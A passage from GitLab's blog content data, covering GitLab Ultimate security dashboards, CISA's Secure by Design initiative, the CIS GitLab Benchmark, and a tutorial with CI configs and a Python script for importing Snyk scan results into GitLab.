projects in a group\n- a letter grade rating for each project based on vulnerability severity\n- the total number of vulnerabilities detected within the past 365 days, including their severity\n\nTo access the Security dashboard:\n\n1. On the left sidebar, select **Search or go to** and find your project or group.\n2. From the side tab, select **Secure > Security** dashboard.\n3. Filter and search for what you need.\n\nThe group view displays your security posture for all projects in your group:\n\n![Group Security dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/8-SD-Group.png)\n\nThe project view displays your security posture for just the project:\n\n![Project Security dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/9-SD-Project.png)\n\n#### Assess code security risk\n\nGitLab Ultimate features a [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), which provides information about vulnerabilities from scans of the default branch. It contains cumulative results of all successful jobs, regardless of whether the pipeline was successful. At all levels, the Vulnerability Report contains:\n\n- totals of vulnerabilities per severity level\n- filters for common vulnerability attributes\n- details of each vulnerability, presented in tabular layout\n\n![Vulnerability Report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/10-Vulnerability-Report.png)\n\nClicking on a vulnerability enables access to its [Vulnerability Page](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/), which contains details of the vulnerability including a description, location, identifiers, and more. Below is an example of the Vulnerability Page for an SQL Injection vulnerability detected by our SAST scanner:\n\n![SQL Injection Vulnerability Page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/11-Vulnerability-Page-1.png)\n\nFrom here the security team can collaborate by [changing the status of a vulnerability](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#change-the-status-of-a-vulnerability) along with a reason and [creating issues to better track changes](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#create-a-gitlab-issue-for-a-vulnerability).\n\nFrom the Vulnerability Page, you can also leverage [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our AI-powered suite of features, to explain the vulnerability and [automatically create a merge request that resolves the vulnerability](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution).\nGitLab Duo's [Vulnerability Explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation) uses a large language model to:\n\n- summarize the vulnerability.\n- help developers and security analysts to understand the vulnerability, how it could be exploited, and how to fix it\n- provide a suggested mitigation\n\n![SQL Injection GitLab Duo AI explanation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/13-Explain-Vulnerability.png)\n\n## Additional GitLab Ultimate security features\n\nGitLab Ultimate contains many more security features that cannot be found within GitHub Advanced Security. A few examples of these additional security features are: additional security scanners for the complete software development lifecycle (SDLC), granular security guardrails, and custom permissions.\n\n### Security scanners for the entire SDLC\n\nOur portfolio of security scanners extends spans the SDLC.\n\n| Scanner Name | Scans | Languages/Files scanned |\n|  -------------- | ----- | ------------------------- |\n| [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) | Static source code | C/C++, Java, Python, Go, JavaScript, C#, and more |\n| [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/) | Running web application, live API | Language-agnostic |\n| [Infrastructure as Code (IaC) Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) | IaC files |Terraform, AWS Cloud Formation, Ansible, and more |\n| [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) | Static and running container images | Dockerfile |\n| [Dependency Scanning and License Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) | Application dependencies | Requirements.txt, Yarn, Gradle, Npm, and more |\n| [Web API Fuzz Testing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/) | Sends random/malformed data to web-api | OpenAPI, GraphQL, HAR, Postman Collection |\n| [Coverage-guided Fuzz Testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) | Sends random/malformed data to function | C/C++, Go, Swift, Python, Rust, Java, JavaScript, AFL |\n\n\u003Cp>\u003C/p>\n\nGitLab also allows you to integrate [third-party scanners](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/) and [custom scanners](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/) into the platform. Once integrated, the scanner results are automatically presented in various places in GitLab, such as the Pipeline view, merge request widget, and Security dashboard. See the [Security Scanner Integration documentation](https://docs.gitlab.com/ee/development/integrations/secure.html) to learn more.\n\n### Granular security and compliance policies\n\nPolicies in GitLab provide security and compliance teams with [a way to enforce controls globally in their organization](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/). Security teams can ensure:\n\n- security scanners are enforced in development team pipelines with proper configuration\n- all scan jobs execute without any changes or alterations\n- proper approvals are provided on merge requests based on results from those findings\n\n![Merge Request Security Policies](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/14-MR-Policy.png)\n\nCompliance teams can centrally enforce multiple approvers on all merge requests and ensure various settings are enabled on projects in scope of organizational requirements, such as enabling or locking merge request and repository settings. To learn more see the [GitLab Security Policy](https://docs.gitlab.com/ee/user/application_security/policies/) documentation.\n\n### Custom roles and granular permissions\n\n[GitLab Ultimate provides custom roles](https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles/), which allow an organization to create user roles with the precise privileges and permissions required for that organization’s needs.\n\nFor example, a user could create a “Security Auditor” role with permissions to view security vulnerabilities in the system, but not be able to view source code, nor perform any changes within the repository. This granular set of permissions enables well-defined separation of duties.\n\n![Custom role creation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/15-Custom-Roles.png)\n\nTo learn more see the [Custom Roles](https://docs.gitlab.com/ee/user/custom_roles.html) and [available Granular Permissions](https://docs.gitlab.com/ee/user/custom_roles/abilities.html) documentation.\n\n### Compliance Center\n\nThe Compliance Center is the central location for compliance teams to manage their compliance standards’ adherence reporting, violations reporting, and compliance frameworks for their group. The Compliance Center includes the following:\n\n- [Compliance standards adherence dashboard](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_standards_adherence_dashboard.html) lists the adherence status of projects complying to the GitLab standard.\n- [Compliance violations report](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_violations_report.html) shows a high-level view of merge request activity for all projects in the group.\n- [Compliance frameworks report](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_frameworks_report.html) shows all the compliance frameworks in a group.\n- [Compliance projects report](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_projects_report.html) shows the compliance frameworks that are applied to projects in a group.\n\n![Compliance Center](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/16-Compliance-Center.png)\n\nThese dashboards assist with making sure separation of duties is being followed to optimize compliance within your organization. To learn more see the [Compliance Center documentation](https://docs.gitlab.com/ee/user/compliance/compliance_center/).\n\n## Read more\n\nThis article covers only a portion of the wide range of security features GitLab Ultimate offers. Check out these resources to learn more about how GitLab Ultimate can help enhance your organizational security and developer efficiency:\n\n- [Why GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/)\n- [Getting Started with DevSecOps Tutorial](https://gitlab-da.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/)\n- [Getting Started with DevSecOps Sample Project](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n- [Import your project from GitHub to GitLab documentation](https://docs.gitlab.com/ee/user/project/import/github.html)\n- [Migrating from GitHub Actions documentation](https://docs.gitlab.com/ee/ci/migration/github_actions.html)\n- [Tutorial: Create and run your first GitLab CI/CD pipeline](https://docs.gitlab.com/ee/ci/quick_start/)\n- [Tutorial: Create a complex pipeline](https://docs.gitlab.com/ee/ci/quick_start/tutorial.html)\n- [CI/CD YAML syntax reference](https://docs.gitlab.com/ee/ci/yaml/)",[696,2132,14,479,2093],"zero trust",{"slug":2134,"featured":92,"template":677},"migration-guide-github-advanced-security-to-gitlab-ultimate","content:en-us:blog:migration-guide-github-advanced-security-to-gitlab-ultimate.yml","Migration Guide Github Advanced Security To Gitlab Ultimate","en-us/blog/migration-guide-github-advanced-security-to-gitlab-ultimate.yml","en-us/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"_path":2140,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2141,"content":2146,"config":2152,"_id":2154,"_type":16,"title":2155,"_source":17,"_file":2156,"_stem":2157,"_extension":20},"/en-us/blog/happy-birthday-secure-by-design",{"title":2142,"description":2143,"ogTitle":2142,"ogDescription":2143,"noIndex":6,"ogImage":1502,"ogUrl":2144,"ogSiteName":767,"ogType":768,"canonicalUrls":2144,"schema":2145},"Happy birthday, Secure by Design!","The U.S. government's initiative to ensure greater security in software products turns one. Find out what GitLab has done to align with this critical effort.","https://about.gitlab.com/blog/happy-birthday-secure-by-design","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Happy birthday, Secure by Design!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joel Krooswyk\"}],\n        \"datePublished\": \"2024-04-30\",\n      }",{"title":2142,"description":2143,"authors":2147,"heroImage":1502,"date":2149,"body":2150,"category":14,"tags":2151},[2148],"Joel Krooswyk","2024-04-30","When the Cybersecurity and Infrastructure Security Agency (CISA) first published its [Secure by Design](https://www.cisa.gov/securebydesign) software protection initiative on April 13, 2023, the industry paid close attention. The initiative urges all software manufacturers to take the steps necessary to ensure that the products they ship are, in fact, secure by design. At GitLab, we quickly assessed our alignment with the initiative and over the past year have continued to innovate in accordance with CISA's guidelines.\n\nCISA's Secure by Design introduced three software security principles:\n\n1. Take ownership of customer security outcomes.\n\n2. Embrace radical transparency and accountability.\n\n3. Build organizational structure and leadership to achieve these goals.\n\n## A year of government guidance  \n\nThe U.S. government has produced significant guidance throughout the past year that reflects the Secure by Design theme. Here are just a few highlights:\n\n* August 2023: ONCD in partnership with several other agencies kicked off the [OS3i Initiative](https://www.whitehouse.gov/oncd/briefing-room/2023/08/10/fact-sheet-office-of-the-national-cyber-director-requests-public-comment-on-open-source-software-security-and-memory-safe-programming-languages/) to prioritize focus areas related to open source software security.\n* August 2023: NIST produced [SP 800-204D ](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204D.pdf)to provide practical software supply chain security strategies for DevSecOps CI/CD pipelines.\n* October 2023: CISA released a second iteration of the [Secure by Design](https://www.cisa.gov/sites/default/files/2023-10/SecureByDesign_1025_508c.pdf) document.\n* October 2023: The [AI Executive Order](https://www.whitehouse.gov/briefing-room/statements-releases/2023/10/30/fact-sheet-president-biden-issues-executive-order-on-safe-secure-and-trustworthy-artificial-intelligence/) was issued by the Biden Administration. Since then, AI engagement guidelines have been produced by most government agencies.\n* December 2023: CISA produced [Memory Safe Roadmap guidance](https://www.cisa.gov/sites/default/files/2023-12/The-Case-for-Memory-Safe-Roadmaps-508c.pdf).\n* February 2024: NIST released the [CyberSecurity Framework 2.0](https://www.nist.gov/news-events/news/2024/02/nist-releases-version-20-landmark-cybersecurity-framework).\n* March 2024: CISA and OMB published the [Secure Software Development Attestation Form](https://www.cisa.gov/secure-software-attestation-form) and opened a [repository](https://www.cisa.gov/news-events/news/cisa-publishes-repository-software-attestation-and-artifacts) for collection of the attestations.\n\n## How GitLab has evolved with the Secure by Design initiative\n\nGitLab has also continued to grow in alignment with the Secure by Design initiative over the past year. Here are some examples.\n\n### GitLab signed the Secure by Design Pledge\n\nGitLab is proud to have signed the CISA [Secure by Design Pledge](https://www.cisa.gov/securebydesign/pledge).\n\n\"The Secure by Design concepts are well-aligned with GitLab's core values. As the most comprehensive AI-powered DevSecOps platform, GitLab offers its unwavering support towards CISA’s efforts to instill a Secure by Design mindset in software manufacturers. GitLab is proud to make the Secure by Design Pledge, and we firmly believe these efforts will help us enable everyone to innovate and succeed on a safe, secure, and trusted DevSecOps platform,\" said GitLab Chief Information Security Officer Josh Lemos.\n\n### \"Secure by default\" practices\n\nConfiguring and securing installations and users can be a challenge. GitLab developed granular user access with [custom user roles](https://docs.gitlab.com/ee/user/custom_roles.html) and [customizable permissions](https://docs.gitlab.com/ee/user/custom_roles/abilities.html). Management of [tokens](https://docs.gitlab.com/ee/security/token_overview.html), [API service accounts](https://docs.gitlab.com/ee/user/profile/service_accounts.html), and [credentials](https://docs.gitlab.com/ee/administration/credentials_inventory.html) have been in focus with continuous improvements and more rigorous authentication security capabilities throughout the year. \n\n### Secure software development practices\n\nWith every release, GitLab has incrementally enhanced scanning accuracy, coverage, and capabilities across our entire suite of security analyzers.\n\n- Some [scan results are presented in developer context](https://docs.gitlab.com/ee/user/application_security/#gitlab-workflow-extension-for-vs-code) (like the IDE) simplify workflows and shift security further left.\n\n- [CI/CD pipeline](https://docs.gitlab.com/ee/ci/pipelines/) capabilities, which have been expanded and simplified, ensure better functionality while also bolstering security and compliance with enforcement and policies.\n\n- [Vulnerability management](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/) provides better views at scale, improved filtering, and more options to take action against vulnerability findings.\n\n- [Artifact attestations](https://docs.gitlab.com/ee/ci/yaml/signing_examples.html) provide a trustworthy authentication of each software artifact.\n\n### Secure business practices\n\nEach GitLab release demonstrated increased focus on compliance. Enhanced [auditing](https://docs.gitlab.com/ee/administration/audit_event_reports.html) and [event streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/) provide accountability across the entire SDLC. Compliance teams are now better equipped to proactively align to requirements, thanks to increased [policy management](https://docs.gitlab.com/ee/administration/compliance.html#policy-management), [workflow automation](https://docs.gitlab.com/ee/administration/compliance.html#compliant-workflow-automation), visibility via [compliance reporting](https://docs.gitlab.com/ee/user/compliance/compliance_center/), and [exportability of data](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_standards_adherence_dashboard.html#export-compliance-standards-adherence-report-for-projects-in-a-group). \n\n## GitLab's Secure by Design features\n\nHere are some of the features and capabilities that align with Secure by Design.\n\n### SBOMs\n\nGitLab’s dynamic [software bill of materials](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/) focus improved SBOM generation while adding third-party SBOM intake capabilities. This also led to the ability to combine SBOMs, as well as to provide full attestation for standardized SBOM artifacts. Enhancements such as cross-project dependency visibility as well as dependency graphs enabled a better view of SBOM risk at scale. Continuous vulnerability scanning for SBOMs was also added during the past year, providing continuous insights for emergent risks for projects that are not under continuous development – no CI/CD pipeline required.\n\n### Vulnerability management\n\nNotable improvements can be seen in vulnerability management as GitLab product updates increased visibility to vulnerabilities at scale, added flexibility to [filtering](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/#group-vulnerabilities), and added [remediation detail](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-dismissal-reasons) options. With [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our AI-powered suite of features, AI-assisted vulnerability remediation is taking a dramatic step forward.\n\n### AI-powered workflows\n\nSpeaking of AI, we deployed many [GitLab Duo features](https://about.gitlab.com/gitlab-duo/#features) during the past year that can help expedite Secure by Design execution, including:\n\n1. Code Suggestions - Use natural language processing to generate new code.\n2. Code Explanation - Discover what that uncommented code does in order to  properly maintain code bases and provide contextually aware product updates.\n3. Code Refactoring - Refactor legacy code bases into new libraries, functions, or memory-safe languages.\n4. Vulnerability Explanation - Understand the impact of a vulnerability and why it is creating risk to enable more accurate and thorough remediation.\n5. Vulnerability Resolution - Automatically resolve vulnerabilities to save significant amounts of time.\n6. Root Cause Analysis - Determine the root cause for a pipeline failure and failed CI/CD build.\n\n### Radical transparency\n\nGitLab continues to embrace its Transparency value by creating the [GitLab Trust Center](https://trust.gitlab.com/) and the [GitLab AI Transparency Center](https://about.gitlab.com/ai-transparency-center/). These public-facing pages provide radical transparency to GitLab's values, ethics, feature details, and compliance statements – including a [NIST Secure Software Development Framework](https://csrc.nist.gov/projects/ssdf) self-attestation letter.\n\n## What's next?\n\nAs Secure by Design enters its second year, we look forward to additional guidance and initiatives from CISA and other government agencies that will provide users around the world with more securely developed software.\n\n> Want to test-drive GitLab's security features? [Try GitLab Ultimate for free for 30 days](https://about.gitlab.com/free-trial/devsecops/).",[14,479,776,2132,184],{"slug":2153,"featured":92,"template":677},"happy-birthday-secure-by-design","content:en-us:blog:happy-birthday-secure-by-design.yml","Happy Birthday Secure By Design","en-us/blog/happy-birthday-secure-by-design.yml","en-us/blog/happy-birthday-secure-by-design",{"_path":2159,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2160,"content":2165,"config":2171,"_id":2173,"_type":16,"title":2174,"_source":17,"_file":2175,"_stem":2176,"_extension":20},"/en-us/blog/gitlab-introduces-new-cis-benchmark-for-improved-security",{"title":2161,"description":2162,"ogTitle":2161,"ogDescription":2162,"noIndex":6,"ogImage":2085,"ogUrl":2163,"ogSiteName":767,"ogType":768,"canonicalUrls":2163,"schema":2164},"GitLab introduces new CIS Benchmark for improved security","Learn why CIS Benchmarks matter, how the CIS GitLab Benchmark was created, and how to use it to properly secure your GitLab installation.","https://about.gitlab.com/blog/gitlab-introduces-new-cis-benchmark-for-improved-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab introduces new CIS Benchmark for improved security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Meadzinger\"},{\"@type\":\"Person\",\"name\":\"Ayoub Fandi\"}],\n        \"datePublished\": \"2024-04-17\",\n      }",{"title":2161,"description":2162,"authors":2166,"heroImage":2085,"date":2168,"body":2169,"category":14,"tags":2170},[1950,2167],"Ayoub Fandi","2024-04-17","The CIS Benchmarks™ play a critical role in hardening software against evolving cyber threats and ensuring compliance with industry regulations. GitLab and the Center for Internet Security® (CIS®) created the just-published [CIS GitLab Benchmark](https://workbench.cisecurity.org/benchmarks/14518), which includes more than 125 recommended secure configuration guidelines for hardening GitLab installations. Establishing this benchmark in collaboration with CIS demonstrates GitLab’s commitment to fostering a culture of proactive risk management within the DevOps landscape. The benchmark provides actionable security guidelines, which are especially beneficial for GitLab Self-managed customers.\n\nIn the following sections, we will examine:\n* [What are CIS Benchmarks?](#what-are-cis-benchmarks%3F)\n* [How the CIS GitLab Benchmark was created](#creating-the-cis-gitlab-benchmark)\n* [Objectives of the CIS GitLab Benchmark](#objectives-of-the-cis-gitlab-benchmark)\n* [How to implement the CIS GitLab Benchmark](#how-to-implement-the-cis-gitlab-benchmark)\n\n> Apply the [CIS GitLab Benchmark](https://www.cisecurity.org/cis-benchmarks) today.\n\n## What are CIS Benchmarks?\n\nThe CIS Benchmarks are comprehensive sets of guidelines and best practices developed by [CIS](https://www.cisecurity.org) to assist organizations in bolstering their cybersecurity defenses. These benchmarks serve as authoritative references, offering detailed recommendations on securely configuring various components of an organization's infrastructure, including operating systems, network devices, databases, and software applications.\n\nThe CIS Benchmarks are based on a consensus-driven development process that draws upon the collective expertise of cybersecurity professionals, industry practitioners, and subject matter experts around the world. CIS develops the benchmarks that encapsulate industry-standard best practices for securing systems and software across diverse environments and use cases. The benchmarks encompass a wide range of security controls, covering areas such as access control, authentication, encryption, logging, and monitoring. By adhering to the CIS Benchmarks, organizations can align their security posture with recognized industry standards and leverage proven strategies for safeguarding their digital assets.\n\nOrganizations that implement the recommendations outlined in the CIS Benchmarks can achieve the following:\n\n- proactively address common security issues\n- minimize exposure to vulnerabilities \n- enhance the resilience of their systems and software \n\nThe CIS Benchmarks create confidence among stakeholders, customers, and regulatory bodies as they have been used across the industry to harden key workloads and applications.\n\n## Creating the CIS GitLab Benchmark\n\nThe CIS GitLab Benchmark stemmed from a collaboration between CIS and GitLab's Field Security and Product Management teams. After numerous conversations with customers, we understood the need for a specific benchmark that would guide their hardening efforts. We conducted an in-depth review of GitLab’s product and documentation to understand how our offering mapped to CIS's Software Supply Chain Security Benchmark. After the initial draft was ready, it entered into the CIS consensus process, where the broader CIS Benchmark Community was able to review it and suggest edits prior to publication.\n\n## Objectives of the CIS GitLab Benchmark\n\nThe CIS GitLab Benchmark targets a range of specific security concerns and vulnerabilities inherent to the DevSecOps platform. These include issues related to access control, authentication mechanisms, data encryption, secure code development practices, vulnerability management, and secure configuration management.\n\nAdditionally, the Benchmark addresses concerns specific to DevSecOps workflows, such as the security of source code, build and pipelines, third-party packages, package registries and deployments. By ensuring users follow the recommended best practices, the GitLabBenchmark aims to enhance the overall security posture of organizations using the GitLab platform. \n\n## How to implement the CIS GitLab Benchmark\n\nTo apply the CIS GitLab Benchmark to your own environment, follow these four steps:\n\n1. Visit [https://www.cisecurity.org/cis-benchmarks](https://www.cisecurity.org/cis-benchmarks).\n2. Access the latest version of the CIS GitLab Benchmark by navigating to DevSecOps tools and then clicking \"Download the Benchmark.\"\n3. Assess your current configuration against the benchmark recommendations.\n4. Determine your gaps and the level of effort related to completing these gaps.\n5. Work on a plan to make your configuration as close to the benchmark recommendations as possible while taking into account the specificities of your own deployment.\n\nThe CIS GitLab Benchmark provides a comprehensive set of measures, which map to specific configurable features so it is simple to understand what steps to take to use GitLab securely and why each step should be taken. CIS is a well-respected, community-driven non-profit organization that “makes the connected world a safer place for people, businesses, and governments.” By leveraging the CIS GitLab Benchmark, you can help your organization take the proper steps to reduce cybersecurity risk and secure your GitLab installation.\n\n> Apply the [CIS GitLab Benchmark](https://www.cisecurity.org/cis-benchmarks) today.\n",[14],{"slug":2172,"featured":6,"template":677},"gitlab-introduces-new-cis-benchmark-for-improved-security","content:en-us:blog:gitlab-introduces-new-cis-benchmark-for-improved-security.yml","Gitlab Introduces New Cis Benchmark For Improved Security","en-us/blog/gitlab-introduces-new-cis-benchmark-for-improved-security.yml","en-us/blog/gitlab-introduces-new-cis-benchmark-for-improved-security",{"_path":2178,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2179,"content":2185,"config":2191,"_id":2193,"_type":16,"title":2194,"_source":17,"_file":2195,"_stem":2196,"_extension":20},"/en-us/blog/integrate-external-security-scanners-into-your-devsecops-workflow",{"title":2180,"description":2181,"ogTitle":2180,"ogDescription":2181,"noIndex":6,"ogImage":2182,"ogUrl":2183,"ogSiteName":767,"ogType":768,"canonicalUrls":2183,"schema":2184},"Integrate external security scanners into your DevSecOps workflow","Learn how to bring Snyk scan results into the merge request widget by parsing JSON artifacts and leveraging the SARIF file format.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098768/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%282%29_1khno1AUtxuL6zzmEmjK7v_1750098768560.png","https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Integrate external security scanners into your DevSecOps workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Morris\"}],\n        \"datePublished\": \"2024-04-08\",\n      }",{"title":2180,"description":2181,"authors":2186,"heroImage":2182,"date":2188,"body":2189,"category":14,"tags":2190},[2187],"Sam Morris","2024-04-08","Each day you build software there is another opportunity for security vulnerabilities to creep into production. So it is becoming more important than ever to shift security left and put security tests and the vulnerabilities they detect at the forefront of your software development lifecycle.\n\nWhile GitLab offers a wide range of different security scanners, our AI-powered DevSecOps platform provides full visibility into the security of your software. We seek to allow you to not only run scans, but also to view results, bake in approval processes via merge request policies, and display current vulnerabilities in your default branch for future triage in our Vulnerability Report.\n\n## How do security scans run?\n\nGitLab Ultimate displays your vulnerabilities directly in the merge request widget and it updates on every commit. These scans typically run via jobs in a pipeline, whether in the project’s `.gitlab-ci.yml` pipeline or in a separately-controlled [compliance pipeline](https://docs.gitlab.com/ee/user/group/compliance_pipelines.html), [security policy](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html), or [included pipeline configuration](https://docs.gitlab.com/ee/ci/yaml/includes.html) from a separate .yml file. You can run GitLab’s native security scanners or you can run an external scanner. For this blog post, I took running Snyk scans for a spin to see how I could feed the dependency scan results as vulnerability records back into GitLab. Additionally, I utilized a Static Analysis Results Interchange Format (SARIF) converter to read SAST results directly from Snyk without custom scripting. \n\n## Using external scanners\n\nGitLab is highly extensible, and the platform allows for you to integrate myriad tools. You can use one of our built-in security scanners, or use an external scanner via a job in a pipeline or policy. GitLab serves as a single platform for governance and enforcement, allowing you to bring your own scanners and see the results early in the DevSecOps lifecycle.\n\nAll you have to do to get started is run a security job, and from there you can obtain the results in the merge request and the vulnerability report.\n\n## Run an external scan from GitLab CI\n\nIn this example pipeline, I run a Snyk scan externally in the test stage in a job I overrode called `gemnasium-maven-dependency_scanning`. First, I install the required packages (npm, Maven, Python3, and Snyk) and then I authorize with my SNYK_TOKEN variable saved in the variables section of my project. Finally, I run a `snyk test` command with the Snyk CLI and output the results to the JSON. This saves my results to the snyk_data_file.json, which I will parse in a script detailed in the next section and save to the required artifact file `gl-dependency-scanning-report.json`.\n\n```\nstages:\n  - test\n\nvariables:\n\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml  \n\ngemnasium-maven-dependency_scanning:\n  image: node:latest\n  stage: test\n  services:\n  - openjdk:11-jre-slim-buster\n  before_script:\n    - apt-get update\n    - apt-get install default-jdk -y\n  script:\n    # Install npm, snyk, and maven\n    - npm install -g npm@latest\n    - npm install -g snyk\n    - npm install maven\n    - npm install python3\n    # Run snyk auth, snyk monitor, snyk test to break build and out report\n    - snyk auth $SNYK_TOKEN\n    - chmod +x mvnw\n    - snyk test --all-projects --json-file-output=snyk_data_file.json || true\n    - python3 convert-snyk-to-gitlab.py\n\n  # Save report to artifacts\n  artifacts:\n    when: always\n    paths: \n      - gl-dependency-scanning-report.json\n\n```\n\n### Parse the JSON\n\nYou can see scan results in the merge request widget from any external scanner as long as the artifact of the successful security job is named appropriately, for example, `gl-dependency-scanning-report.json`.  \n\nHere is an example script that converts the Snyk JSON output to the GitLab JSON output. In this example, I open the Snyk data file and load the vulnerability data. I create a new list of dependency files and a new list of vulnerabilities that contain data GitLab needs to display in the vulnerability records, such as the identifier, severity, category, description, and location. I added a few placeholder sections for required fields that I did not need to display in my record. Finally, I saved the contents I parsed out to a new JSON file called `gl-dependency-scanning-report.json`, which is the required name for the file to be read by GitLab and have its contents displayed in the widget.\n\n```\nimport json\nfrom types import SimpleNamespace\n\nwith open(\"snyk_data_file.json\") as snyk_data_file:\n    snyk_data = json.load(snyk_data_file, object_hook=lambda d: SimpleNamespace(**d))\n\ngitlab_vulns = []\ndependency_files = []\nfor i in snyk_data:\n    dependency_files.append({\"path\": i.path, \"package_manager\": i.packageManager, \"dependencies\": []})\n    for v in i.vulnerabilities:\n        gitlab_identifiers = []\n        for vuln_type, vuln_names in v.identifiers.__dict__.items():\n            if vuln_names: \n                for vuln_name in vuln_names:\n                    gitlab_identifiers.append({\"type\": vuln_type, \"name\": vuln_name, \"value\": vuln_name.partition(\"-\")[2]})\n                gitlab_vulns.append({\"id\": v.id, \"category\": \"dependency_scanning\", \"severity\": v.severity.capitalize(), \"identifiers\": gitlab_identifiers, \"description\": v.description, \"location\": {\"file\": i.displayTargetFile, \"dependency\": {\"package\": {\"name\": \"PLACEHOLDER\"}, \"version\": \"PLACEHOLDER\"}}})\n\n# Dummy data for scan and dependency files \nfull_json = {\"version\": \"15.0.6\", \"dependency_files\": dependency_files, \"scan\": {\"analyzer\": {\"id\": \"snyk\", \"name\": \"Snyk\", \"vendor\": {\"name\": \"Snyk\"}, \"version\": \"1.0.2\"}, \"scanner\": {\"id\": \"my-snyk-scanner\", \"name\": \"My Snyk Scanner\", \"version\": \"1.0.2\", \"vendor\": {\"name\": \"Snyk\"}}, \"end_time\": \"2022-01-28T03:26:02\", \"start_time\": \"2020-01-28T03:26:02\", \"status\": \"success\", \"type\": \"dependency_scanning\"}, \"vulnerabilities\": gitlab_vulns}\n\nwith open(\"gl-dependency-scanning-report.json\", \"w\") as gitlab_file:\n    json.dump(full_json, gitlab_file, default=vars)\n\n```\n\nNow, the vulnerability findings are visible in the merge request widget.\n\n![security scanning detection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098776/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098776479.png)\n\n## What are SARIF and the SARIF converter?\n\nSARIF is a file format for the output of static analysis tools. It is incredibly useful when leveraging different security scanners, as all of their output is formatted the same way. This allows for a generic, repeatable, and scalable approach to application security.\n\nThere is a community-maintained [SARIF converter](https://gitlab.com/ignis-build/sarif-converter), which takes SARIF files and converts them into ingestible reports. It supports many scanners, including Snyk. This converter works for both SAST and code quality findings. We are going to focus on SAST for this blog.\n\n### Use a SARIF converter to get SAST results\n\nTo leverage the SARIF results, first I trigger a Snyk scan as we did in the previous example, but I save the output to a SARIF file. After this, I use the aforementioned converter to create a new JSON file that I save as a report.\n\n```\nsnyk:\n  image: node:latest\n  stage: test\n  services:\n  - openjdk:11-jre-slim-buster\n  before_script:\n    - apt-get update\n    - apt-get install default-jdk -y\n    - wget -O sarif-converter https://gitlab.com/ignis-build/sarif-converter/-/releases/permalink/latest/downloads/bin/sarif-converter-linux\n    - chmod +x sarif-converter\n  script:\n    # Install npm, snyk, and maven\n    - npm install -g npm@latest\n    - npm install -g snyk\n    - npm install maven\n    # Run snyk auth, snyk monitor, snyk test to break build and out report\n    - snyk auth $SNYK_TOKEN\n    - chmod +x mvnw\n    - snyk test --all-projects --sarif-file-output=snyk.sarif  || true\n    - ./sarif-converter --type sast snyk.sarif snyk.json\n\n  artifacts:\n    reports:\n      sast: snyk.json\n\n```\n\nAfter saving the JSON as an artifact, the results are visible in the merge request widget.\n\n![security scanning - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098776/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098776479.png)\n\n## Get started\n\nIn this blog post, you learned how to use both custom scripting and a SARIF 